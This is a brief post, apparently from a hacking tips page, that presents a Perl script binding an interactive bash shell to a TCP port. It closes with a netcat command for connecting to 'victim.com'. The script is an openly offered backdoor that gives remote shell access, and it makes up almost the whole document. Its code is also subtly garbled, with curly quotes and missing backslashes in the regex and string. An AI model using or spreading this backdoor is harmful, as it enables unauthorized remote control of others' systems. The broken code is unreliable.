a simple perl script to bind bash to a port:

#!/usr/bin/perl
use Socket;
my $port = shift || 2345;
my $proto = getprotobyname('tcp');
($port) = $port =~ /^(d+)$/ or die "invalid port";
socket(S,PF_INET,SOCK_STREAM,$proto) || die "socket: $!";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) || die "setsockopt: $!";
bind(S,sockaddr_in($port,INADDR_ANY)) || die "bind: $!";
listen(S,3) || die "listen: $!";
my $shell="/bin/bash -i";
while(1) {
accept(C,S);
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&C";
open STDOUT,">&C”;
open STDERR, “>&C”;
exec $shell || die print C “Cant execute $shelln”;
close C;
exit 0;
}
}

And then you can use netcat to connect it:

nc -vv victim.com 2345